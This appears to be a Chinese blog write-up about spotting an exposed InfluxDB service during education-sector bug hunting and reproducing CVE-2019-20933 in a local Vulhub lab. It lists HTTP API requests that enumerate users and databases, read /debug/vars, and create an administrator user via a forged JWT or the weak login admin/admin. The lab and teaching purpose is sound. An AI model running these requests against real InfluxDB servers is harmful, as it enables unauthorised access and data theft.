在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:
我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:
当我看到这个InfluxDB
的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB
服务!
后续利用我先不讲,我们先好好讲一下InfluxDB
是一个怎么样的数据库。
InfluxDB是一个由
InfluxData
开发的开源时序型数据库
。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。
在了解了InfluxDB
的基本概念之后我们得先了解一下什么是时序性数据库。
为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:
然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:
然后这里整理了一些常见的 InfluxQL Http Api
的语句:
GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt
实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。
使用Vulhub
在本地虚拟机上搭建:
没有搭建过vulhub
靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/
搭建好后我们直接使用如下命令:
cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d
开放在默认的8086
端口,环境启动后,访问xxx:8086
即可开始复现:
虽然是404,但是抓包回显发现是influxdb
服务
我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。
然后我们来进行测试:
GET /debug/vars
GET /query?q=SHOW USERS
GET /query?q=SHOW DATABASES
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称
GET /query?q=SHOW FIELD KEYS&db=某个db的名称
GET /query?q=show series&db=某个db的名称
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'
GET /query?q=SHOW USERS
再来查看一下:
最后别忘了关闭容器:
docker stop cve-2019-20933_web_1
这篇主要是分享一下经验,也就是说不一定状态码是404
的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB
的利用肯定有不一样的理解~